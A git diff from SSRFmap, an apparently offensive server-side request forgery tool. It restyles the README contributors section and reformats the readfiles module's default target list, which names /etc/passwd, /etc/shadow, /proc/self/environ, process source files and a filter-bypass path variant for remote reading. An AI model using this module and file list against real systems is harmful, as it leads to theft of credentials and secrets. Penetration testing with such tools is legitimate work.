diff --git a/README.md b/README.md
index 7f86b00..f3c1ffc 100644
--- a/README.md
+++ b/README.md
@@ -206,7 +206,12 @@ You can also contribute with a beer IRL or via Github Sponsor button.
 
 ### Thanks to the contributors
 
-- [ttffdd](https://github.com/ttffdd)
+<p align="center">
+<a href="https://github.com/swisskyrepo/SSRFmap/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=swisskyrepo/SSRFmap&max=36">
+</a>
+</p>
+
 
 ## Inspired by
 
diff --git a/modules/readfiles.py b/modules/readfiles.py
index b9c775a..ee05a07 100644
--- a/modules/readfiles.py
+++ b/modules/readfiles.py
@@ -12,12 +12,24 @@ class exploit():
     
     def __init__(self, requester, args):
         logging.info(f"Module '{name}' launched !")
-        self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"]   
+        self.files = args.targetfiles.split(',') if args.targetfiles != None else [
+            "/etc/passwd", 
+            "/etc/lsb-release", 
+            "/etc/shadow", 
+            "/etc/hosts", 
+            "\/\/etc/passwd", 
+            "/proc/self/environ", 
+            "/proc/self/cmdline", 
+            "/proc/self/cwd/index.php", 
+            "/proc/self/cwd/application.py", 
+            "/proc/self/cwd/main.py", 
+            "/proc/self/exe"
+        ]   
         self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
         
         r = requester.do_request(args.param, "")
         
-        if r != None:
+        if r is not None:
             default = r.text
 
             # Create directory to store files